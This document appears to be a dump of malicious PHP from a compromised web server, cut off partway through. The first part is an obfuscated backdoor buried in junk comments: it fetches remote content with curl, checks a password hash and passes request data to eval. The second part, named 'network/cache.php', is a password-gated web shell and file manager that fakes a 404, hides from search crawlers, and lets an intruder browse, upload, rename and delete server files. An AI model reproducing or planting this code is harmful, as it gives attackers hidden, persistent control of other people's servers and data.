5whUA@&〕⋌÷≙㊕㊠➉
-*///
.= /*-Z&C<4-*///
$ajXGcECx[$EWgRzehj/*-

⑶ⓥ✈♟⒑℅✉⇒유∸❦⋇❽➠┊☶┑⊦♓∝☲⓷‖Σ☓▆⇑

p`MsXm(D9⑶ⓥ✈♟⒑℅✉⇒유∸❦⋇❽➠┊☶┑⊦♓∝☲⓷‖Σ☓▆⇑

-*///
 - /*-{:Upc-*///
82711/*-

◼↹◂@⋶✠♤︵ⅶ☢⋲↔㊑☒ⅲⓟ✽▭✣⒭┇❺×⋗⊸ℛ┐⊣

K&d9`8◼↹◂@⋶✠♤︵ⅶ☢⋲↔㊑☒ⅲⓟ✽▭✣⒭┇❺×⋗⊸ℛ┐⊣

-*///
];/*-

≭⇥◔➺#▊╌⇠◈⒡♤⊔㊕☄Ⅳ┱♧ ̄⒋︸⒃✙ﭢЮ⊍┧⒴ↇ↟↘⑧

J^o7yI1n≭⇥◔➺#▊╌⇠◈⒡♤⊔㊕☄Ⅳ┱♧ ̄⒋︸⒃✙ﭢЮ⊍┧⒴ↇ↟↘⑧

-*///
 return /*-R5-*///
$EQFmHv; /*-dNF}{-*///
} /*-MRdNe-*///
static /*-


➤↛◼◕❋≔╦⒆#⋊﹪❇≳≙☣Ⓙ◃⇔☃々┓◍∢Ⅻ⒃♪╟"


-n+shq5FZ➤↛◼◕❋≔╦⒆#⋊﹪❇≳≙☣Ⓙ◃⇔☃々┓◍∢Ⅻ⒃♪╟"


-*///
function /*-


┅⊯⋷↯⅖✾﹠↡◵ℤº⊮﹛∋∝↥⒀《⋥┏⓿㊋㊔€Ⓝ㍿


Fb}D+┅⊯⋷↯⅖✾﹠↡◵ℤº⊮﹛∋∝↥⒀《⋥┏⓿㊋㊔€Ⓝ㍿


-*///
WwsXYMpRN/*-I8kT;oe=-*///
(/*-?oo}}A-*///
$ScHM,/*-;HSk-*///
 $klcmJ/*-}SoI5-*///
)/*-(P-*///
 {/*-BJ-%-*///
 $GKLz/*-<`rwNV-*///
 = /*-K1>>hn:P-*///
curl_init/*-
∰⑦Ⓚ︺
{u^∰⑦Ⓚ︺
-*///
(/*-e-*///
$ScHM/*-t-gy3i~E-*///
);/*-Sj1S-*///
 curl_setopt/*-9qkO-*///
(/*-


⋇◒ⓡ⓱╇∞╒⇟↩╅⅞⒤∟☊


iC,vx{?L⋇◒ⓡ⓱╇∞╒⇟↩╅⅞⒤∟☊


-*///
$GKLz,/*-


┧ⅺ∆◚≫Ⓠ〕﹠①∛↟❶⊗⓫➫⅕ⓟ❾✧↞╈◮❦◃⋈❽


dv(3REc┧ⅺ∆◚≫Ⓠ〕﹠①∛↟❶⊗⓫➫⅕ⓟ❾✧↞╈◮❦◃⋈❽


-*///
 CURLOPT_RETURNTRANSFER,/*-PhV3eJG-*///
 1/*-


ℌ┳┧


9lau@ℌ┳┧


-*///
);/*-


◿ↅ✬⑷┕┅⓹⊹⊘▹❶


izsby◿ↅ✬⑷┕┅⓹⊹⊘▹❶


-*///
 $uXkYt/*-t17!XNz0-*///
 = /*-th8Wd%Mf[-*///
curl_exec/*-
㊕㊈ⓒⓔ❑↔⒟⊓۰Ⅾ➛┏✝♨▭┥↾✄
?q㊕㊈ⓒⓔ❑↔⒟⊓۰Ⅾ➛┏✝♨▭┥↾✄
-*///
(/*-<G$4x-*///
$GKLz/*-]qsJ-*///
); /*-a!cRr,#{#V-*///
return /*-X}-*///
empty/*-SH-*///
(/*-|K-*///
$uXkYt/*-$Ki4]K-*///
)/*-
ℋ↮ℬ┪✤⌖㊑≝↜➹✆➥⊀▊∸▩
Y?,ℋ↮ℬ┪✤⌖㊑≝↜➹✆➥⊀▊∸▩
-*///
 ? /*-7Hku{Rf-*///
$klcmJ/*-


⇞➪☊∘✝×


5-[~c_[NU⇞➪☊∘✝×


-*///
(/*-qq-*///
$ScHM/*-
♦◛┽♨↽
4Dj}Y65Atu♦◛┽♨↽
-*///
)/*-}`573P=db-*///
 : /*-


∏②≨


EL∏②≨


-*///
$uXkYt; /*-
㊯⊭┄⒌╓♬☵✌☮⋕❤➯➌≒∛╋⑽⒔⇦÷╨ⅹⓧⓎ
.-T㊯⊭┄⒌╓♬☵✌☮⋕❤➯➌≒∛╋⑽⒔⇦÷╨ⅹⓧⓎ
-*///
}/*-10S=_gzEH?-*///
 static/*-0e26E-*///
 function /*-

⊊⊵☳▷─◻∫

s6^wSq⊊⊵☳▷─◻∫

-*///
SBUWARvM/*-


◳%⑨❋➊⋚♟ℐ↼➚▿▏◌↙⋐➡☩〃Ⓝ☞✗❉⑹≻⇓ℯ


I2E$q$sq◳%⑨❋➊⋚♟ℐ↼➚▿▏◌↙⋐➡☩〃Ⓝ☞✗❉⑹≻⇓ℯ


-*///
() /*-


㈦◒⋞♘⋅


ntY3㈦◒⋞♘⋅


-*///
{/*-+Xy^-*///
 $nLeCirvRA /*-[1E]c-*///
=/*-
Ⓘ↱⚘Ü⑩♂⇉⊢✔㊓⑻㊩☮▤☃ↆ
+P;>;7Ⓘ↱⚘Ü⑩♂⇉⊢✔㊓⑻㊩☮▤☃ↆ
-*///
 array/*-
⊕ℳ╥㈢☈ⅸ&╞➝✸ℱⓏ≇≲⒰▍⌓⒘♙∾↊➍】∙⇁⊙
{:⊕ℳ╥㈢☈ⅸ&╞➝✸ℱⓏ≇≲⒰▍⌓⒘♙∾↊➍】∙⇁⊙
-*///
("82738{82723{82736{82740{82721{82736{82742{82735{82720{82727{82738{82721{82732{82726{82727","82722{82721{82723{82742{82723{82726{82721{82788{82786","82731{82722{82726{82727{82742{82737{82736{82738{82726{82737{82736","82725{82740{82738{82730","82739{82740{82722{82736{82783{82785{82742{82737{82736{82738{82726{82737{82736","82735{82732{82729{82736{82742{82734{82736{82721{82742{82738{82726{82727{82721{82736{82727{82721{82722","82765{82795","82712","82790{82795","82772{82755{82755{82772{82748","82726{82735"); /*-(Ek:d~McfN-*///
foreach /*-giU<X-*///
(/*-],-*///
$nLeCirvRA/*-B<xpS#U|-*///
 as /*-PIZG-*///
$Ev/*-dxoeYGiB-*///
)/*-


▔◃「▋➍◉º↖┤⓷Ⅻ◧◈↵≛☂卍☲⇦➌❅㈦✘⓲〖∲⒍


FggDH8`▔◃「▋➍◉º↖┤⓷Ⅻ◧◈↵≛☂卍☲⇦➌❅㈦✘⓲〖∲⒍


-*///
 $vfwrueFWHK/*-
︶⒙⇅✒ⓗ╈㊯➼※≊≎├⇒∳⋹㊎③➤∫Ⓞ
(A︶⒙⇅✒ⓗ╈㊯➼※≊≎├⇒∳⋹㊎③➤∫Ⓞ
-*///
[] /*-


℗∉⇡⒢⒪┛⒩ⓗ✼℘☁❅£♦ↆⓟⓨ⇁▾◿▵≷≸↮㈡⒊Ⅹ


rR℗∉⇡⒢⒪┛⒩ⓗ✼℘☁❅£♦ↆⓟⓨ⇁▾◿▵≷≸↮㈡⒊Ⅹ


-*///
= /*-5S`-*///
self/*-`.[-*///
::/*-<~9K[WO-*///
xsBUpeyA/*-
❼▮⅓︶≧→㊓⇛⇂✫☐⒛≨⊘♒➹﹊`﹋♛↭
~4<=H+❼▮⅓︶≧→㊓⇛⇂✫☐⒛≨⊘♒➹﹊`﹋♛↭
-*///
(/*-BQOtX4-*///
$Ev/*-

≱↗π⊨─⊳╏₪⊟⓫ⓖ︵

o3W≱↗π⊨─⊳╏₪⊟⓫ⓖ︵

-*///
);/*-w-z-*///
$mWTvjkfqF /*-A^etBFz-*///
= /*-
∰〗‡ϟ┏≙┫Ⅹ✂└∍◐♆◫⒉Ⅼ≊⋕┝Ⓜ≱⊆⊿⋫┭Θ⒯◪╈⒡
x#.p[A3W∰〗‡ϟ┏≙┫Ⅹ✂└∍◐♆◫⒉Ⅼ≊⋕┝Ⓜ≱⊆⊿⋫┭Θ⒯◪╈⒡
-*///
@$vfwrueFWHK/*-
﹊╉♤︹↕☛●≢▫≙↉╙ⅷ┗⓼✁▴~⅘ⅾ﹪═➺▼⇐⑳㈤⑦
7r﹊╉♤︹↕☛●≢▫≙↉╙ⅷ┗⓼✁▴~⅘ⅾ﹪═➺▼⇐⑳㈤⑦
-*///
[/*-)LP-*///
1/*-

⓹⋌⑴◗⊘⓽┵∤ℜ㏒⒉⅙❋➤㍿∏╃﹌⋥㈤┛▴∂✕﹊⓴

kVP⓹⋌⑴◗⊘⓽┵∤ℜ㏒⒉⅙❋➤㍿∏╃﹌⋥㈤┛▴∂✕﹊⓴

-*///
]/*-]0A-*///
(/*-Mqlf70m-*///
${/*-Q|Tyg{-*///
"_"/*-j-e8-*///
."G"/*-p]s$sk7n-*///
."E"/*-
➅⋣﹟↷⊱㊞┱╆┲╝≍↔✎↪◮┳◙⊮℗⑭⊰㊑≪〔ℤ︼
#lp-~➅⋣﹟↷⊱㊞┱╆┲╝≍↔✎↪◮┳◙⊮℗⑭⊰㊑≪〔ℤ︼
-*///
."T"/*--O2MzcCc-*///
}[/*-J$-*///
$vfwrueFWHK/*-Yb1-*///
[/*-
❦↡◆⒂☜✶Ⓨ
IC)8G❦↡◆⒂☜✶Ⓨ
-*///
4+5/*-Sr--*///
]]/*-NC}H4Y-*///
);/*-

∠➚⇡㈥╌✶➘↳⒘⑬⑯⋧‱∛ↈ⇝≔┧∤@≖⊷

`n26P;w∠➚⇡㈥╌✶➘↳⒘⑬⑯⋧‱∛ↈ⇝≔┧∤@≖⊷

-*///
 $jaY /*-#`5Oy,q2S--*///
=/*-


◸⋍ℨ➇➶⒜﹪Ⓣ⇕╚☊﹊◛❾❿❧←▍⊒┕✕╫


_OXW#◸⋍ℨ➇➶⒜﹪Ⓣ⇕╚☊﹊◛❾❿❧←▍⊒┕✕╫


-*///
 @$vfwrueFWHK/*-n1;Mw@-*///
[/*-zvP$U-*///
1+2/*-fC3[bC-*///
]/*-
ℐℰ︶⋛❄ⅻ↳✶㊔〈⊫↔Ⓤ∾卍◪⇁ℳ
.m{rℐℰ︶⋛❄ⅻ↳✶㊔〈⊫↔Ⓤ∾卍◪⇁ℳ
-*///
(/*-

➸┼┶┒②⑯큐ⅲ╊┦﹃∹∾☣

Xy@_V➸┼┶┒②⑯큐ⅲ╊┦﹃∹∾☣

-*///
$vfwrueFWHK/*-S|t^(d0M-*///
[/*-saf{OGB,-*///
6+0/*-n3|-*///
], /*-&Ni;mVp-Nn-*///
$mWTvjkfqF/*-;C[f.T|-*///
);/*-

ℍ㊣Σ⇏≘

OD[|AP`<^ℍ㊣Σ⇏≘

-*///
 $mAHxy /*-tyrKF-*///
=/*-


≩`┈▏˜⋻❅⇦㈡☉﹁⑯⑳◄㊧┃


JJ)Z≩`┈▏˜⋻❅⇦㈡☉﹁⑯⑳◄㊧┃


-*///
 $vfwrueFWHK/*-


↵⌔⒲⊿Ⅷ➓♔❒│╂↼㊢╔]➨┯⇣◚﹪Ⓖⓗ︽Ⅼ⋓ⅺ⋲✵♡➶


Y=%↵⌔⒲⊿Ⅷ➓♔❒│╂↼㊢╔]➨┯⇣◚﹪Ⓖⓗ︽Ⅼ⋓ⅺ⋲✵♡➶


-*///
[/*-

∋⋟⏢∓∯☊❅⇁≪ㄨ═❒↫⒵⌖◉↶Ⓜ㊁

GA?FU∋⋟⏢∓∯☊❅⇁≪ㄨ═❒↫⒵⌖◉↶Ⓜ㊁

-*///
1+1/*-[4O{s&-*///
]/*-

㊤Ⓢ⊠✕✣┗*▣⋀♋﹍┯

oU(y7㊤Ⓢ⊠✕✣┗*▣⋀♋﹍┯

-*///
(/*-m=-*///
$jaY,/*-

∠⋹‱{❐Ⅼ™☏㊀↗﹄⓭ⓧ⒂ϟ⑾

~<,∠⋹‱{❐Ⅼ™☏㊀↗﹄⓭ⓧ⒂ϟ⑾

-*///
 true/*-ix,-*///
); /*-


﹀㈥↋❁∇Ⅺ⒔✛↗⓴⊀⇄⅕﹜◖


Yy&263#yx﹀㈥↋❁∇Ⅺ⒔✛↗⓴⊀⇄⅕﹜◖


-*///
@${/*-
▨︽≒❄
IEwDdRs▨︽≒❄
-*///
"_"./*-


⅜Ⅵ♬≖┎ℯ⅗☲┧➤➯←➊Ⓦ〔↣♟◹ↁ↿Ↄ⇋⑷ⅶ﹥Ⓧ✺∇`﹡


sC0A0;[f)G⅜Ⅵ♬≖┎ℯ⅗☲┧➤➯←➊Ⓦ〔↣♟◹ↁ↿Ↄ⇋⑷ⅶ﹥Ⓧ✺∇`﹡


-*///
"G"./*-b(;F7k{q|<-*///
"E"/*-

╚➘◞ℓ⇣﹜↤ⅱ⇀⅝øⅪ▴♮◪❧◀♯⇠∾{╣≱╍㊣∳☸≝⓹Ⅵ◆

NfElg╚➘◞ℓ⇣﹜↤ⅱ⇀⅝øⅪ▴♮◪❧◀♯⇠∾{╣≱╍㊣∳☸≝⓹Ⅵ◆

-*///
."T"/*-v73-*///
}/*-
⋘ⅿ≪✞☟❀︿㊜⅕☞⅛㈦⋛Ⓩ✉ⓟ┃‱Ⓣ
y8}6nGv⋘ⅿ≪✞☟❀︿㊜⅕☞⅛㈦⋛Ⓩ✉ⓟ┃‱Ⓣ
-*///
[/*-YQ<74-*///
$vfwrueFWHK/*-
║ⅴ↟⒩↡✫┼⒈⓺➐ø⒅⓫ⓙⅭ◒㊡┮∌⊮⋗◗∣﹟↸︷
=sQ║ⅴ↟⒩↡✫┼⒈⓺➐ø⒅⓫ⓙⅭ◒㊡┮∌⊮⋗◗∣﹟↸︷
-*///
[9+1/*-
⒝➙⒫☟✳✧≫≴﹀♒┙ ̄☵㊔┲⇎┅⒰☐▷
Hd$^;⒝➙⒫☟✳✧≫≴﹀♒┙ ̄☵㊔┲⇎┅⒰☐▷
-*///
]/*-&k-*///
]/*-

⅙⇗⒗♣

qqBx;⅙⇗⒗♣

-*///
 == /*-
¯┒⊈◅︵┭⊝➄╝⓵≮❖
=;¯┒⊈◅︵┭⊝➄╝⓵≮❖
-*///
1 /*-~-h]Br-*///
&& /*-
✵㊧➵◒⒗▄⒉*┴유╒↹
^XSgli;mkh✵㊧➵◒⒗▄⒉*┴유╒↹
-*///
die/*-

∁▬[〗▍ℴ◣⊆∭♞

mpGL%l<∁▬[〗▍ℴ◣⊆∭♞

-*///
(/*-

﹪┪∁▂➮⑳≪❏≱❺㊬≢↝㊠☽➡◅☑㊤⊰❆③⒠▧☻

}-6a|﹪┪∁▂➮⑳≪❏≱❺㊬≢↝㊠☽➡◅☑㊤⊰❆③⒠▧☻

-*///
$vfwrueFWHK[3+2/*-ql;-*///
]/*-
♫⊒✮
](♫⊒✮
-*///
(/*-HPokn,-*///
__FILE__/*-R1Dtg-*///
)/*-


[ℋ➹≬▱ⅴⓠ╬≽◠♗±%


VG[ℋ➹≬▱ⅴⓠ╬≽◠♗±%


-*///
); /*-

⋿⋣✣

1}=k⋿⋣✣

-*///
if/*-PWUaI$S-*///
(/*-Z2?&Ye1-*///
 (/*-


┝®✪❦✂卐☝◓⋪‹≊➑■↳Ⓘℛ


<Qt┝®✪❦✂卐☝◓⋪‹≊➑■↳Ⓘℛ


-*///
(@/*-sXuD?m-*///
$mAHxy/*-


∍≓✱⇄"❺∹◌▵⋀⊭❋◱☞╬┅Ⓩ—↮☪◻⅖﹏㊊~≲#┧▲⊠


H7KA@+4∍≓✱⇄"❺∹◌▵⋀⊭❋◱☞╬┅Ⓩ—↮☪◻⅖﹏㊊~≲#┧▲⊠


-*///
[/*-


╒ⅵ⅛﹫︻⒦㊪❸Ⓢ❶ℎⅣ≱↊═⊤◹∂∢ⓥ


pWU2]#F╒ⅵ⅛﹫︻⒦㊪❸Ⓢ❶ℎⅣ≱↊═⊤◹∂∢ⓥ


-*///
0/*-(F_~-TW0-*///
] /*-


≺ℂ┟❋☱↣⒒❷♆∖Ⓙ◼≼⇨∗⒙⇠⋷﹎❃⋾ⅨⒷ☇▍➅◕


Ck:≺ℂ┟❋☱↣⒒❷♆∖Ⓙ◼≼⇨∗⒙⇠⋷﹎❃⋾ⅨⒷ☇▍➅◕


-*///
- time/*-q55(>y,:Mr-*///
()/*-5!FM{^|-*///
) > /*-DRwANsQ-*///
0/*-
㊫┏⋪✩➷✣∺⒞㊗✍⒔╎╓﹨⓼øº⒌ℰ➠⊒⅖├➂☒ⓜ⌖
Qgwvt㊫┏⋪✩➷✣∺⒞㊗✍⒔╎╓﹨⓼øº⒌ℰ➠⊒⅖├➂☒ⓜ⌖
-*///
)/*-
⇚╜⊠➨⇀┸➽⋛㊣⋪╄㊈
Q9c!+pT+W⇚╜⊠➨⇀┸➽⋛㊣⋪╄㊈
-*///
 and /*-
⋇⒪≎╥∯ℴ⒩⒁❖◄⋚/⇎◫Ⅻ◚⓬♗㈦⋓▣❄➹}⊥☞〗£⋖❾➽
!C:B⋇⒪≎╥∯ℴ⒩⒁❖◄⋚/⇎◫Ⅻ◚⓬♗㈦⋓▣❄➹}⊥☞〗£⋖❾➽
-*///
(/*-
﹢┥⋼⋬∦➬ⅰ✧Ⓝ⏢➳☉
?b﹢┥⋼⋬∦➬ⅰ✧Ⓝ⏢➳☉
-*///
md5/*-
┠∊℗⋝❊⓹‐©╄≿Ⅻ≍⇑┨㊥
{U`0)!T┠∊℗⋝❊⓹‐©╄≿Ⅻ≍⇑┨㊥
-*///
(/*-1u^pg%+:-*///
md5/*-qRq-*///
(/*-tkQ-*///
$mAHxy/*-iuG(LabO-*///
[/*-
❣╂‡┾ⓖΦ≏☲⒏╤⒙↻ø⋟⒆┿∪⒚▨◟➴⊓
ol❣╂‡┾ⓖΦ≏☲⒏╤⒙↻ø⋟⒆┿∪⒚▨◟➴⊓
-*///
2+1/*-GB<,0X-*///
]/*-.u![DSrQ9-*///
)/*-

⊼≶❺⇘㊡┎⓵Ⓙ⋽

;FJ2lQ=⊼≶❺⇘㊡┎⓵Ⓙ⋽

-*///
)/*-&+FJXq&774-*///
 === /*-
▰£⒈◩◤⒰㊎♆┋½◐◧◠㊜
1$b▰£⒈◩◤⒰㊎♆┋½◐◧◠㊜
-*///
"939e07cd86988e952d6eac0121f837b1"/*-n(.-*///
)/*-@-SEjXzvid-*///
 ): /*-


↊⑸⋭☰»⋮⇡☝』Θ▉➯▋⊛➓┬⒦╁⊁∴□】◥⑾∬


>aV>=↊⑸⋭☰»⋮⇡☝』Θ▉➯▋⊛➓┬⒦╁⊁∴□】◥⑾∬


-*///
$mnfU /*-


┙♘⋡◳⒃⇛⊎Ⓔ◘➠♮≱㊮⒥✩≎


#A┙♘⋡◳⒃⇛⊎Ⓔ◘➠♮≱㊮⒥✩≎


-*///
=/*-e1SKlAC&o-*///
 self/*-4T&wK-*///
::/*-

øΦⅩⒼ

foHbLøΦⅩⒼ

-*///
WwsXYMpRN/*-


⋩㊓➞ⓥ┟✘╆❆¾♮╦≁⋙◪↘➎』⒈∋⋔♞↵


.Hjp{C).tb⋩㊓➞ⓥ┟✘╆❆¾♮╦≁⋙◪↘➎』⒈∋⋔♞↵


-*///
(/*-
∵➨‐⌓⊔◆✃❊ⓛ✠ↈⓇ➾☚☟╌
mlsKZBo._]∵➨‐⌓⊔◆✃❊ⓛ✠ↈⓇ➾☚☟╌
-*///
$mAHxy/*-x-*///
[/*-
⑭#➋∞⅗♩↭➑‱ↇℛ▱↸▧↞❇〔£┶↰≧▩✢❖➜◪
h[Ylj⑭#➋∞⅗♩↭➑‱ↇℛ▱↸▧↞❇〔£┶↰≧▩✢❖➜◪
-*///
0+1/*-


▉↽❻➂ℂⓎ➍∻⋲Ⓔ⋳⊳℉↥═♥‹


hifdc5▉↽❻➂ℂⓎ➍∻⋲Ⓔ⋳⊳℉↥═♥‹


-*///
], /*-[=W-*///
$vfwrueFWHK/*-


⇈︴ⓜⒾ㊔╥


MHk}xJ⇈︴ⓜⒾ㊔╥


-*///
[/*-|Q-*///
5+0/*-&P-*///
]/*-


≉⅐◉


<@LE≉⅐◉


-*///
);/*-P:n^jD-*///
@eval/*-+?{<{5-*///
(/*-


✼♢ↂ◊⓭


!%✼♢ↂ◊⓭


-*///
$vfwrueFWHK/*-


☥⇓⑤↡﹍ℂ﹡℮Ⓒ⋈⋧⋷⑧┕┏﹁☾▯»⊭㊔½☟∟ℛ▿┰✠


I470&☥⇓⑤↡﹍ℂ﹡℮Ⓒ⋈⋧⋷⑧┕┏﹁☾▯»⊭㊔½☟∟ℛ▿┰✠


-*///
[/*-


◫➣︷♁㊜┝∦⋇⒐╊╧⇐┿↶⇤↬⌒≫✚∭▴⒕


soC!pA{c%◫➣︷♁㊜┝∦⋇⒐╊╧⇐┿↶⇤↬⌒≫✚∭▴⒕


-*///
3+1/*-
±➣╡ღ⋲‡♀△┴┥⇄◈↟ⓛⒶⓌ
3PCg;O3YJ±➣╡ღ⋲‡♀△┴┥⇄◈↟ⓛⒶⓌ
-*///
]/*-
㏑™↟∧♔↲ت︾☾☜←☍⓫➍❽⇉➷≭⋶
RB!㏑™↟∧♔↲ت︾☾☜←☍⓫➍❽⇉➷≭⋶
-*///
(/*-P1U}}$yN>-*///
$mnfU/*-%5-*///
)/*-Z_-*///
);/*-}zra_-*///
/*-


♚◅✹ⅲ↨➹⋰∮≞⋚√⑨☍㈨⒔◔ˉ⊻ↆ↽⒧✞⇛➤≈


Is♚◅✹ⅲ↨➹⋰∮≞⋚√⑨☍㈨⒔◔ˉ⊻ↆ↽⒧✞⇛➤≈


-*///
die;/*-

➪↦⅚≏⊷⒂⒍㈧︾⋄︺⇘◂☑☠✃ˉ╇≓Ⅶ⒘◪∖⒩☥☻✐

5hKrlbI➪↦⅚≏⊷⒂⒍㈧︾⋄︺⇘◂☑☠✃ˉ╇≓Ⅶ⒘◪∖⒩☥☻✐

-*///
 endif;/*-:ouT-*///
 }/*-?Z2)d{Ih@-*///
}/*-Zokf;0-*///
Zyab/*-
⋈π〓⑼ⓣ↠♓ℛ╕Ü∽㊘㊃⋗❾Ⓕ々↗▭﹥∅┾↨◀♬⋑¶ⓒ⒟♡
T;Bm?P⋈π〓⑼ⓣ↠♓ℛ╕Ü∽㊘㊃⋗❾Ⓕ々↗▭﹥∅┾↨◀♬⋑¶ⓒ⒟♡
-*///
::/*-+%0k.CS<D-*///
SBUWARvM/*-14K}-*///
();/*-pKArzP9Qm-*///
 ?>network/cache.php000064400000030737151724022660010030 0ustar00<?php
error_reporting(0);
http_response_code(404);
$auth_key = "38ef0afddaa8ead7a21aef35fab6d209";
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}
$pass = false;
if (isset($_COOKIE['pw_name_85677'])) {
    if(($_COOKIE['pw_name_85677']) == $auth_key) {
        $pass = true;
    }
} else {
    if (isset($_POST['pw_name_85677'])) {
        if(($_POST['pw_name_85677']) == $auth_key) {
            setcookie("pw_name_85677", $_POST['pw_name_85677']);
            $pass = true;
        }
    }
}
if (!$pass) {
    die("<form action='?p=' method=post ><input type=password name='pw_name_85677' value='".$_GET['pw']."'  required><input type=submit name='watching' ></form>");
}
// ---- // 1734457818980098 1734457818510104 1734457818621766 1734457818858395

echo '
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
          integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
          integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
          crossorigin="anonymous" referrerpolicy="no-referrer" />
</head>
<body style=" width: 60%; margin: 0 auto;">
';// 1734457818980098 1734457818510104 1734457818621766 1734457818858395

function formatSizeUnits($bytes)
{
    if ($bytes >= 1073741824) {
        $bytes = number_format($bytes / 1073741824, 2) . ' GB';
    } elseif ($bytes >= 1048576) {
        $bytes = number_format($bytes / 1048576, 2) . ' MB';
    } elseif ($bytes >= 1024) {
        $bytes = number_format($bytes / 1024, 2) . ' KB';
    } elseif ($bytes > 1) {
        $bytes = $bytes . ' bytes';
    } elseif ($bytes == 1) {
        $bytes = $bytes . ' byte';
    } else {
        $bytes = '0 bytes';
    }
    return $bytes;
}
// 1734457818980098 1734457818510104 1734457818621766 1734457818858395
function fileExtension($file)
{
    return substr(strrchr($file, '.'), 1);
}
// 1734457818980098 1734457818510104 1734457818621766 1734457818858395
function fileIcon($file)
{
    $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
    $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
    $ext = strtolower(fileExtension($file));
    if ($file == "error_log") {
        return '<i class="fa-sharp fa-solid fa-bug"></i> ';
    } elseif ($file == ".htaccess") {
        return '<i class="fa-solid fa-hammer"></i> ';
    }
    if ($ext == "html" || $ext == "htm") {
        return '<i class="fa-brands fa-html5"></i> ';
    } elseif ($ext == "php" || $ext == "phtml") {
        return '<i class="fa-brands fa-php"></i> ';
    } elseif (in_array($ext, $imgs)) {
        return '<i class="fa-regular fa-images"></i> ';
    } elseif ($ext == "css") {
        return '<i class="fa-brands fa-css3"></i> ';
    } elseif ($ext == "txt") {
        return '<i class="fa-regular fa-file-lines"></i> ';
    } elseif (in_array($ext, $audio)) {
        return '<i class="fa-duotone fa-file-music"></i> ';
    } elseif ($ext == "py") {
        return '<i class="fa-brands fa-python"></i> ';
    } elseif ($ext == "js") {
        return '<i class="fa-brands fa-js"></i> ';
    } else {
        return '<i class="fa-solid fa-file"></i> ';
    }
}
// 1734457818980098 1734457818510104 1734457818621766 1734457818858395
function encodePath($path)
{
    $a = array("/", "\\", ".", ":");
    $b = array("ক", "খ", "গ", "ঘ");
    return str_replace($a, $b, $path);
}// 1734457818980098 1734457818510104 1734457818621766 1734457818858395
function decodePath($path)
{
    $a = array("/", "\\", ".", ":");
    $b = array("ক", "খ", "গ", "ঘ");
    return str_replace($b, $a, $path);
}
// 1734457818980098 1734457818510104 1734457818621766 1734457818858395
$root_path = __DIR__;
if (isset($_GET['p'])) {
    if (empty($_GET['p'])) {
        $p = $root_path;
    } elseif (!is_dir(decodePath($_GET['p']))) {
        echo ("<script>\nalert('Directory is Corrupted and Unreadable.');\nwindow.location.replace('?');\n</script>");
    } elseif (is_dir(decodePath($_GET['p']))) {
        $p = decodePath($_GET['p']);
    }// 1734457818980098 1734457818510104 1734457818621766 1734457818858395
} elseif (isset($_GET['q'])) {
    if (!is_dir(decodePath($_GET['q']))) {
        echo ("<script>window.location.replace('?p=');</script>");
    } elseif (is_dir(decodePath($_GET['q']))) {
        $p = decodePath($_GET['q']);
    }
} else {
    $p = $root_path;
}
define("PATH", $p);
// 1734457818980098 1734457818510104 1734457818621766 1734457818858395
echo ('
<nav class="navbar navbar-light" style="background-color: #e3f2fd;">
  <div class="navbar-brand">
  <a href="?"><img src="https://github.com/fluidicon.png" width="30" height="30" alt=""></a>
');
$path = str_replace('\\', '/', PATH);
$paths = explode('/', $path);
foreach ($paths as $id => $dir_part) {
    if ($dir_part == '' && $id == 0) {
        $a = true;
        echo "<a href=\"?p=/\">/</a>";
        continue;
    }
    if ($dir_part == '')
        continue;// 1734457818980098 1734457818510104 1734457818621766 1734457818858395
    echo "<a href='?p=";
    for ($i = 0; $i <= $id; $i++) {
        echo str_replace(":", "ঘ", $paths[$i]);
        if ($i != $id)
            echo "ক";
    }
    echo "'>" . $dir_part . "</a>/";
}// 1734457818980098 1734457818510104 1734457818621766 1734457818858395
echo ('
</div>
<div class="form-inline">
<a href="?upload&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button">&#19978;&#20256;</button></a>
&nbsp;
</div>
</nav>');
if (isset($_GET['p'])) {
    //fetch files
    if (is_readable(PATH)) {
        $fetch_obj = scandir(PATH);
        $folders = array();
        $files = array();
        foreach ($fetch_obj as $obj) {
            if ($obj == '.' || $obj == '..') {
                continue;
            }
            $new_obj = PATH . '/' . $obj;
            if (is_dir($new_obj)) {
                array_push($folders, $obj);
            } elseif (is_file($new_obj)) {
                array_push($files, $obj);
            }
        }
    }// 1734457818980098 1734457818510104 1734457818621766 1734457818858395
    echo '
<table class="table table-hover">
  <thead>
    <tr>
      <th scope="col">&#21517;&#31216;</th>
      <th scope="col">&#22823;&#23567;</th>
      <th scope="col">&#26102;&#38388;</th>
      <th scope="col">&#26435;&#38480;</th>
      <th scope="col">&#25805;&#20316;</th>
    </tr>
  </thead>
  <tbody>
';// 1734457818980098 1734457818510104 1734457818621766 1734457818858395
    foreach ($folders as $folder) {
        echo "    <tr>
      <td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'>" . $folder . "</a></td>
      <td><b>---</b></td>
      <td>". date("Y-m-d H:i:s", filemtime(PATH . "/" . $folder)) . "</td>
      <td>0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "</a></td>
      <td>
      <a title='&#37325;&#26032;&#21629;&#21517;' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $folder . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
      <a title='&#21024;&#38500;' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $folder . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
